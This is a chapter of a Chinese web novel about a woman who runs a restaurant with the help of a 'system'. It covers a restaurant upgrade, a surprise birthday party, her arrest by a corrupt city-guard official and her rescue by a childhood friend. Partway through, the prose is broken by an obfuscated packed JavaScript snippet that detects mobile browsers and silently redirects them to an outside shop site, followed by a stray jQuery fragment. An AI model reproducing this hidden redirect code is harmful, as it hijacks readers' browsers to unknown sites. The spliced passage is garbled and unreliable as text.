“任务已完成,恭喜宿主获得餐厅资格升级大礼包。”
“等级提升中。”
“恭喜宿主系统,获得升级大礼包,等级已更新。”
“奖励下发中,请注意查看信息。”
姜萝浏览了一遍系统弹出来的页面后,就关上了。
顺手将系统给的礼包拆开。
又是农田。
她放到后院。
点开后面的红包,愣了一下。
“个、十、百、千、万、十万……”
“系统,你这公司可以。有钱是真给。”
姜萝欢呼着,将所有余额转成系统积分。
“把商城打开。对了,有没有优惠,比如一折卡什么的。”
“没有。”
系统道,“无论是谁,照价买。”
“这是交易规则。”
它指着买卖介绍下的一行小字道。
行吧。
姜萝也不在意。
点金商城就是一顿买。
如今的种子太少了。
土豆,白菜,辣椒,番茄,黄瓜……这些家常菜都需要一点。
至于肉类。
等后面解锁了牧场,看养殖能不能扩大。
她暂时先在院子里养几只小鸡。
手指点进小鸡页面,正要购买。
系统提醒她:“鸡是可以养,但需要提前准备笼子。”
“或者鸡圈也行。”
“有。”
姜萝开口,“沈长宴前几天修屋子的时候,我看他做了不少小笼子,院子里被他规划了各种用途。”
“我先把其中一个暂时设置为鸡圈吧。”
她点进后院。
果然,不仅有鸡圈,还有鸭圈。
甚至羊圈,牛圈,鹅圈都有。
她还看到了鱼塘。
“买两只,一公一母,鸭子我不喜欢,鹅块我不会做。不买,羊倒是可以……”
姜萝捏着下巴思索,她还想养牛。
“收着点吧,你要不看看结算余额。”
系统提醒她。
姜萝看着购物车页面,吓了一跳:“一只鸡一万,母鸡就算了,为啥子公鸡能值一万?”
“它俩一对。”
系统指着后面的详情介绍,“有灵气的鸡,身价高一点的。”
“别生气。”
“不买了。”
姜萝心痛地看着缩水大半的余额。
商城东西说是保质保量,但真的好贵啊。
“你准备什么时候升级?”
见宿主不忙了,系统问。
“怎么,升级很久么?”
“需要一天左右。”
系统道,“材料费用是系统这边出的,这是当初绑定你的时候,答应送的福利。”
“不过,三级往后,餐厅的动力系统就会改变,你要想更高效的话,就需要自己提供核心材料。”
姜萝点头表示了解。
但是。
餐厅升级的那天,姜萝还是被系统吵醒。
“宿主,升级开始了。”
姜萝翻了个身把被子蒙到头上,闷声闷气地嗯了一下。
“那你去吧,加油加油。”
她不想起。
然后她整个人连着床板一起被一股轻柔的力量托了起来,平移三丈远。
“餐厅升级都不关心的么?”
系统飞到她面前。
姜萝是彻底睡不着了。
昨天晚上她蹲守黑市拍卖蹲了大半夜,想让系统拍下一枚道心碎片,结果也不知道点背还是什么。
二十几枚碎片哗哗的。
瞬间无。
抢的姜萝都没脾气了。
她坐起来。
整个餐厅内部正在经历一场无声的翻涌。
倒塌的废墟被挨个清除掉,空间变大了很多,就连挑高都高了。
前厅原本六张原木桌子,变成八张,桌面上多了灵光流转的感应符文。
高档不少。
开放式厨房的灶台从青砖变成了白玉台面,墙上挂着的铁锅纹丝不动但周身绕了一圈淡金色的铭文。
感觉用这个炼丹都可以。
正改造着。
沈长宴端着早饭从后院走过来。
看见她蹲在台阶上发呆,头顶呆毛翘着,眼神还有些恍惚。
他没忍住弯了弯嘴角。
“系统在装修,老板要不要去院子里吃?”
姜萝点头。
然后下一秒。
沈长宴直接抱着她,走向院子里新搭建的八角凉亭。
“坐这里,风景最好。”
沈长宴将人放下来,指着前方的田园风光开口。
后院的十亩地也在升级。
黑土地的边缘多了一圈蓄水渠,清澈的地脉泉水从渠底无声地涌上来,绕田一周后从另一侧渗回地下。
田埂上冒出了一排自动喷淋装置,细密的水雾在空中织成淡青色的薄纱,落在萝卜叶上凝成一颗颗滚圆的露珠。
忘情草被单独围起来,藤蔓铺了半亩地,银白色的花骨朵在晨光里折射出一层湿润的虹彩。
米粥的热气蒸在脸上,暖乎乎的。
萝卜地里的新苗已经长到两寸高,长势良好。
姜萝想起末日第一年。
她刚获得安全屋,不知从哪里走漏了消息。
说山里居住着人,手里有安全堡垒。
当时安全屋刚到手,她没有足够的能量携带走。
她守着那个铁皮安全屋,每天提心吊胆,连梦都不敢做太深。
山里的景色在末日初期还是绿油油的一片,风景奇好。
她没心思欣赏。
但三年过去,所有地方都变成了土黄色。
想看也看不到了。
现在,她蹲在灵气充沛的萝卜田喝白粥,头顶有御剑飞行的修士划过天际,耳畔是地脉泉水汩汩流淌的声音。
来这个世界才多久?
半个月?
一个月?
她已经完全不想过去了。
吃完饭,姜萝看着沈长宴。
“一会我们对下帐。”
“餐厅这几天一直是入不敷出的状态,你往里贴钱了么?”
她问。
沈长宴摇头。
给自己女人花钱叫什么贴。
“你贴了吧。”
姜萝肯定。
他摇头。
姜萝不管,自顾自地说下去。
“那行,我们分分钱。”
升级持续了整整一天。
系统在傍晚时分重新上线,声音从原本的机械电子音,变成了一种温润的女声,听着舒服了不少。
“惩治恋爱脑系统迭代完成。当当当~”
“新增功能如下:一,餐厅灵力护盾升级为可主动开启的防御结界。”
“二,农田自动化程度提升,新增灵植长势监测面板。”
“三,菜品列表扩容,预置新菜单食材培养路径。具体食材培养路径,宿主可自行探索。”
姜萝翻了翻那个灵植长势监测面板。
发现上面标注了每亩地的含水量、光照时长、营养值。
甚至还有一行小字写着预计多少日日后可采收。
高科技监管。
那以后菜地里哪一颗菜熟了,可以提前知道了。
可以,很适配她。
姜萝摩肩擦掌准备大干一场。
这几天总是因为各种意外出现的人,害的她的正常营业都无法开张,来这个世界都多天,她一个安全屋都被改造成餐厅的老板。
竟然入不敷出!!
太可怕了。
姜萝加快了备菜速度。
第二天一早。
沈长宴等在门口。
“老板,”
他说,“家里有事,你要跟我回去一趟么?”
姜萝买种子的手停了下来。
“我也要去么?”
“几天啊?”
“三四天。”
他看着姜萝,那双琥珀色的眼睛里,都是期待,“要去么?”
“不了。”
姜萝摇头,“你也别去。我就你一个员工,你走了,谁干活?”
“我给系统升了一级,买了不少机器人在路上,到时候让系统控制。”
沈长宴开口。
“机器人……也行。”
姜萝想着元霄世界的科技水平,是真心叹服。
“那你早去早回。”
门铃叮当响了一下,然后安静下来。
人走了。
姜萝去后院,检查喷淋装置的水压。
昨天知道许泽被抓起来之后,这三个不常出境,但老老实实干活的年轻人也提出了告辞。
姜萝还以为关系户能干的久一些呢。
“系统,他们三个到家了么?”
“早就已经到了。”
系统开口,“宿主你忘了,他们本地人。”
“怪不得院子有些空。”
姜萝站在空无一人的院子里,忽然觉得有些寂寞。
真可怕,在正常的世界只待了短短一段时间,过去三年养成的习惯都要被改变了。
姜萝从安全的旧盒子里翻出一本日历。
十五的格子上画着一朵小小的莲花,旁边手写着两个字。
生日。
姜萝的手指僵在那格纸上。
沉默良久,她还是将日历重新放了回去。
算了,能活着就很好了。
来吃饭的人正常不少。
至少系统页面不会再时不时弹出目标需拯救。
傍晚的时候她关了店门,给自己热了一碗面。
卧了个荷包蛋,撒了一把葱花。
面汤冒着白汽扑在她脸上。她坐在空荡荡的大堂里,对着那碗面发了一会儿呆,然后拿起筷子开始吃。
吃到一半的时候灯忽然灭了。
姜萝筷子顿住,脊背瞬间绷紧。
她的手已经摸到了腰后藏着的厨刀刀柄。
末日养成的本能让她在黑暗降临的第一秒就做好反攻的准备。
但紧接着,大堂侧面的门被推开了一条缝。
一簇暖黄色的光从门缝里透出来。
然后第二簇,第三簇。
灯笼一盏接一盏地从门外递进来,有纸糊的兔子灯、竹编的莲花灯、灵光凝结成的萤火虫灯。
光点在大堂里蔓延开,把木地板映成了一片流动的金色。
是熟悉的脸。
姜萝的手从刀柄上松开了。
凌寒第一个走进来。
他抱着一个比他脑袋还大的木盒子。
盒盖敞着,里面热气腾腾,隐约能看见炖得酥烂的鸡块和透亮的汤汁,上层浮着一层金黄色的油花。
“灵鸡炖汤。”
凌寒把盒子往桌上一放,“老板,尝尝我的手艺。”
然后进来的是帮厨小姑娘。
她端着一个白瓷盘,盘子里码着十几只晶莹剔透的萝卜雕花。
每一朵都刻成了莲花的样子,瓣瓣分明,中间点了一点红色的灵果汁液。
“老板,小小谢礼,不成敬意。”
再然后进来的是一排姜萝叫不上名字的、最近来店里干过活的顾客们。
有人捧着糯米糕,有人端着一碗银耳羹,有人抱着满满一篮现摘的灵果。
最后进来的是沈长宴。
他换了一件从未见过的白衫。
袖口和衣摆绣着细细的金线,在满屋灯笼的光里折射出细碎的光华。
手里捧着一个圆形的、用灵光凝成的蛋糕,表面流动着淡金色的光芒,顶部立着一根小小的蜡烛。
烛火是银白色的,烧出来的光芒像一小捧浓缩的月光。
他在大堂中间站定。
满屋子人安静下来,灯影落在他的肩上和发间。
他抬眼看她,目光穿过灯笼的光晕和摇曳的烛火,落在她那张来不及擦干净嘴边的脸上。
“生日快乐,老板。”
身后的人齐刷刷地说:“老板生日快乐,年年发大财!”
姜萝站在桌子后面,面前那碗面已经凉了。
她张了张嘴想说点什么。
骂他们一句联合起来搞突然袭击,或者问他们合计多久了。
但她发现嗓子眼堵着一团东西,什么都挤不出来。
她于是走过去,接过了那个灵光蛋糕。
蛋糕入手温热,表面那层淡金色的光芒在她掌心里流动。
她低头看着那根银白色的蜡烛,火光映在她瞳孔里,把里面那点平时藏得很好的水汽照得一清二楚。
“吹蜡烛吹蜡烛!”
凌寒在后面起哄,“老板快许愿。”
姜萝深吸一口气,闭眼,吹灭蜡烛。
银白色的烛火熄灭的那一瞬间,大堂里爆出一阵欢呼。
凌寒不知道从哪摸出一把灵光洒花筒对着天花板噼里啪啦乱放。
帮厨小姑娘扑过来抱了她一把又缩回去了,满屋子人笑的笑闹的闹,萝卜花被传来传去,鸡汤的香气飘得到处都是。
沈长宴在她旁边侧着身,把她和那些撒欢的人群隔开一点距离。
他低头凑过来轻声说:“老板,你许了什么愿?”
“有我么?”
姜萝瞥他一眼:“说出来就不灵了。”
沈长宴笑了笑没追问。
他的指尖在她肩头停留了很短很短的一瞬,然后收回去,将蛋糕刀递给她。
姜萝在欢呼中切下第一块蛋糕。
递给自己。
“大家请便吧。”
她把位置让出去。
姜萝端着属于她的那块蛋糕找了个角落坐下。
奶油的甜味混着灵果的清香,入口又绵又软,化开之后有一点点微凉的薄荷味留在舌尖上。
她吃了两口,抬头看着那群围在一起分蛋糕的人,凌寒正跟帮厨小姑娘抢最后一块草莓,几个人笑得前仰后合。
搁在以前,她会觉得吵闹。
但如今,还是人多好。
人多热闹,多讲话,屋子就会有生气。
蛋糕吃到尾声的时候。
忽然,门外传来一声巨响。
砰——
餐厅正门整个飞了进来。
刚修好的大门断成两截。姜萝心痛地直抽抽。
怒火从心间升起。
她条件反射地跳起来,手已经摸到了腰后的刀柄。
沈长宴比她更快,一步挡在她身前,白衫袖口的金线灵光暴涨,在大堂空气中凝成一面半透明的防御屏障。
门外站着一个人。
准确地说,是一个修士。
穿的是城防司制式的深蓝色官袍,胸口绣着三颗金星的徽记,表明他是城防司总部的要员。
那男人四十岁上下,面白无须,下颌棱角凌厉,眉眼间有股久居上位的阴鸷。
他身后跟着四个穿黑色劲装的扈从,腰佩长刀,灵力波动全在金丹中期以上。
那人跨过门框的残骸走进来,靴子踩在碎裂的木板上发出咔嚓的脆响。
他环顾了一圈满地狼藉的餐厅,最后把视线落在姜萝身上,开口声音不高但整个大堂都在震。
“你就是姜萝?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745209|209262||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
姜萝推开沈长宴的胳膊从他身后走出来。
她扫了一眼地上那扇门,把视线重新抬起来,对上了不速之客的眼睛。
“是我。你拆我的门,打算怎么赔?”
那人冷笑了一声。
他抬手,掌心摊开,一团灵光凝成的信物浮在半空。
上面刻着城防司的官印,以及一个名字:李崇德。
“我侄子死在你的客人手里,”
那男人说,语气恶狠狠,“凶手许泽已被收监,但你作为窝藏包庇的共犯,城防司有权拘押。跟我走一趟吧。”
大堂里一片死寂。
凌寒脸上嬉笑的表情僵住了,几个客人面面相觑大气都不敢出。
沈长宴往前走了半步,那只覆着灵光的手按在了姜萝后肩上,掌心里传递过来的信息很清楚/
他可以动手,这里的人他挡得住。
但姜萝偏了偏头,不赞同。
她抬头看着那个姓李的官员。
“许泽杀李大川,是因为李大川杀了齐蕊。你侄媳妇的命案你们城防司查清楚了吗?”
李崇德的脸色微微变了一瞬。
就那么一瞬,然后恢复了那副官场老手的从容。
他摆了摆手:“齐蕊之死已由苍梧山辖区城防队认定为意外坠崖,结案了。”
“结案了?”
姜萝重复了一遍这三个字,声音轻得像在自言自语。
李崇德也不废话。
“带走。”
手一挥,身后四个扈从就要上前。
沈长宴的肩膀绷了起来,白衫袖口的金线灵光已经蓄势待发。
但姜萝比他更快,她把腰后那把厨刀拔了出来,刀刃在满室灯笼残存的暖光里折出一道冷冽的白芒。
“你侄子杀了人。”
姜萝握着刀,刀尖指着李崇德的胸口,“你包庇他,现在又来找我。城防司的人如果都是这种货色,那就辜负了百姓交的税收了。”
这话一出。
李崇德笑了。
那笑容冷得让满屋子的灯笼光都暗了几分。
他伸出手,五指微张,磅礴的灵力从掌心里涌出来,整个大堂的空气瞬间凝固成了琥珀色的透明硬块。
沈长宴的白衫爆出强光,挡在姜萝身前,但那股力量的层次明显比沈长宴的修为高了不止一筹。
修士惯爱如此。
以大欺小。
沈长宴被那股灵力按得后退了三步,嘴角溢出一丝血。
姜萝的厨刀在凝固的空气里动弹不得,刀身上结了一层薄薄的冰。
她被那股力量压得整个人往后退,撞上了餐桌的边沿,桌上的蛋糕碎了一地。
李崇德弯下腰凑到她耳边,声音像湿冷的蛇爬进耳道:“你不懂这里的规矩。一个开小饭馆的外来户,死了没人会查。”
“以为挂靠在时管局的名下,我就不敢动你?”
“啪!”
李崇德给了她一巴掌。
姜萝的脸当即肿了起来。
“也不看看自己什么身份。”
四个扈从把她架起来往外拖。
被人塞进了一辆黑漆漆的灵兽车后厢。
车轮滚动起来的时候她整个人撞在车厢壁上,灵力绳索勒进肉里,但她咬着牙一声没吭。
黑暗里她听见系统在脑子里说话,声音着急但带着几分笃定:”宿主,别怕,我已经申请了武力支援。是直接打击,还是间接打击?”
“不用。”姜萝说。
系统安静了一瞬。
“宿主,好不容易活下来,可别想不开啊?”
“不是。”
她又说了一遍,闭着眼靠在冰冷的车壁上,“会有免费的人来接,你别申请,我不想花钱。”
她也不知道自己为什么能说得这么笃定。
车厢一晃一晃地往前行驶,她数着车轮滚过路面的间隙,数到一百一十七的时候车停了。
后厢门从外面被拉开,白得刺眼的光涌进来,她眯着眼往外看,还没来得及看清外面站的是谁,就听见了一声刀锋入肉的闷响。
然后是李崇德的惨叫。
然后是接二连三的撞击声、倒地声、灵力爆裂的轰鸣。
短短三五息之内,外面安静了。
姜萝被灵力绳索捆着动弹不得,只能半靠在车厢沿上望着那扇敞开的门。
刺目的白光里有人走过来的脚步声,不急不缓,踩在碎石地上发出沙沙的轻响。
然后一只手伸进了车厢,干净修长,指甲修剪得整整齐齐,中指上戴着一枚墨绿色的玉扳指。
那只手解开了她腰间的灵力绳索。
绳索落地的时候化成了一蓬消散的青光。
姜萝抬头。
车前站着一个男人。
他看起来跟她差不多大的年纪,穿一件墨绿色的长袍,袖口用银线绣着连绵的山纹。
他生了一张极好看的脸,五官像是被人拿最细的笔描了几遍才敢收手。
眉骨高,眼尾长,鼻梁挺直,嘴唇薄但不寡淡,嘴角天生微微上翘,带着一点痞气的笑意。
他弯着腰看她。
墨绿色的眼瞳里映出她狼狈的样子,头发散成一团,衣襟上蹭着蛋糕渣和萝卜泥。
然后笑了。
那一笑让他整个人从好看变成了更好看,连身后那片横七竖八倒了一地的城防司扈从都成了背景板。
他朝她伸出手,掌心朝上,姿态自然而亲昵,像是他们已经认识了很久很久。
“萝萝,”
他叫她,声音懒洋洋的,拖着一点尾音,“怎么混成这样了?来,我拉你起来。”
姜萝看着他那只手。
墨绿色的玉扳指在光下微微泛着幽深的光。
系统忽然弹出一行字:“顾衍之,二十五岁,宿主在本世界的青梅竹马。”
“关系设定:自幼一同长大,两年前宿主嫁入沈家后往来减少。当前状态:未知。”
青梅竹马。
姜萝盯着他看了一会儿,然后慢慢抬起手,抓住了他的手指。
掌心相触的瞬间,他的手温比她高一些,干燥而有力,一把将她从车厢里拽了出来。
手脚还有些酸麻,她握着顾衍之的手好一会才松开。
出乎意料的是,车外竟然就在餐厅门口。
这么久,难不成他们没出发?
顾衍之从袖子里摸出一块帕子递过来,笑得眉眼弯弯。
“先擦擦脸。”
他偏了偏头,指了指不远处那扇熟悉的、被拆得只剩半边框的门。
“要我先帮你把门修好?还是他们赔偿?”
“让他们赔偿。”
姜萝接过帕子擦了把脸,盯着他那张笑得欠揍的脸看了好一会儿,说道。
“那我帮你这么大的忙,能赏我一个住的地方么?”
顾衍之笑着说道。
顶着一张漂亮脸蛋,凑到姜萝跟前。
她退后几步,脸色有些红:“后院自己收拾。”
顾衍之大声道:“好嘞!”
话语中泄出一点压抑不住的、得逞的笑意。
姜萝进门安抚好众人后,餐厅只有沈长宴和顾衍之留下。
俩个帅哥站在一起。
四目相对间,似乎有无数火花迸发。
姜萝看了一眼就上楼了。
有天大的事情,也等她洗完澡再说。
“包裹到了,记得签收一下。”
她想起什么。
意外的小插曲一点都没影响到她的心情。
“还有大门,人家赔偿到位后,去找符修换一个。”
“太不结实了。”